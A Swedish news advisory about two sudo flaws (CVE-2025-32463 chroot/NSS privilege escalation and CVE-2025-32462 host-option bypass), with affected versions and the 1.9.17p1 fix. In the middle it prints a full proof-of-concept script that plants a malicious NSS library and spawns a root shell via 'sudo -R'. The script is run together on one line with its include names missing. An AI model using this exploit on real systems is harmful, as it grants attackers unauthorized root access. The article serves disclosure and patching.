Sårbarheter i kommandot sudo som kan ge root-rättigheter i systemet

I paketet sudo, som används för att utföra kommandon å andra användares vägnar, har en sårbarhet upptäckts (CVE-2025-32463) som gör att varje icke-privilegerad användare kan köra kod med root-behörighet, även om användaren inte nämns i sudoers-konfigurationen. Problemet påverkar distributioner som använder konfigurationsfilen /etc/nsswitch.conf, exempelvis har sårbarheten demonstrerats i Ubuntu 24.04 och Fedora 41.

Sårbarheten förekommer i standardkonfigurationen och har bekräftats i versioner av sudo från 1.9.14 till 1.9.17 (potentiellt påverkar alla versioner från 1.8.33). Problemet har åtgärdats i uppdateringen sudo 1.9.17p1. För att kontrollera statusen för den nya versionen av paketet eller beredningen av en patch i distributioner kan man besöka följande sidor (om sidan inte är tillgänglig, betyder det att distributionens utvecklare ännu inte har påbörjat granskningen av problemet): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo och Arch (1, 2).

Problemet orsakas av att när alternativet "-R" ("--chroot") används för att köra kommandon i en chroot-miljö med en vald användare som rotkatalog, laddas filen /etc/nsswitch.conf i kontexten av den nya rotkatalogen, istället för systemkatalogen. Eftersom användaren kan använda sin egen katalog som rotkatalog för chroot, kan de placera en konfigurationsfil nsswitch.conf i den. Genom att kontrollera den fil som laddas av NSS (Name Service Switch) kan användaren lägga till inställningar som leder till att ytterligare behandlingar anropas. Dessa behandlingar laddas av NSS i form av delade bibliotek, som också kan placeras i en katalog under användarens kontroll. Genom att infoga sitt eget bibliotek kan användaren få körning av kod med root-behörighet, eftersom NSS-hanteringen sker innan privilegierna släpps.

Exempel på exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c <<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

I versionen av sudo 1.9.17p1 har ytterligare en sårbarhet (CVE-2025-32462) åtgärdats, vilket gör det möjligt att exekvera kommandon med root-rättigheter, men som endast uppstår i sudoers-konfigurationer där parameter "host" är inställd på något annat än ALL eller namnet på den aktuella värden. Sårbarheten orsakas av ett fel som gör att alternativet "-h" ("--host") verkade fungera inte bara i kombination med alternativet "-l" ("--list") för att visa privilegier kopplade till värden, utan även vid körning av kommandon. Därmed kunde en användare ange vilken värd som helst vid anrop av sudo och kringgå begränsningarna i sudoers-reglerna som är kopplade till värdnamnet.

För att utföra en attack måste användaren nämnas i sudoers, till exempel om inställningarna anger "testuser testhost = ALL", då kunde användaren "testuser" ange "sudo -h testhost" och köra kommandon med root-rättigheter på valfria värdar och inte bara på värden testhost. Konfigurationer med inställningar som "testuser ALL = ALL" eller utan konkreta regler för specifika användare är inte sårbara.

Källa: opennet.ru